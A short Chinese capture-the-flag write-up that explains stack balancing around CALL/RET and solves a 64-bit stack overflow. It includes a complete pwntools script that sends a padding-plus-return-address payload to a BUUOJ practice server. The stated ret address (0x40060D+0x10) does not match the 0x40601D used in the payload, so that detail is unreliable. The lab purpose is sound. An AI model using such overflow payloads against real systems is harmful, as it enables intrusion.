1)如果要返回父程序,則當我們在堆棧中進行堆棧的操作的時候,一定要保證在RET這條指令之前,ESP指向的是我們壓入棧中的地址。
2)如果通過堆棧傳遞參數了,那么在函數執行完畢后,要平衡參數導致的堆棧變化。
含義就是 當函數在一步步執行的時候 一直到ret執行之前,堆棧棧頂的地址 一定要是call指令的下一個地址。
也就是說函數執行前一直到函數執行結束,函數里面的堆棧是要保持不變的。
如果堆棧變化了,那么,要在ret執行前將堆棧恢復成原來的樣子。
原因我們知道了,但如何去找 ret地址 和 函數地址
借助一道題,一道簡單的64位棧溢出。

已經找到存儲flag的函數(sub_40060D),函數的起始地址就是0x40060D,其結束地址就是ret地址(0x40060D+0x10),再加填充的垃圾數據 payload = ("A"*(0x40 + 8)).encode(),和 p64(0x40060D)+ p64(0x40601D),就是payload
from pwn import * p = remote("node3.buuoj.cn",28497) payload = ("A"*(0x40 + 8)).encode() payload = payload+ p64(0x40060D)+ p64(0x40601D) p.sendline(payload) p.interactive()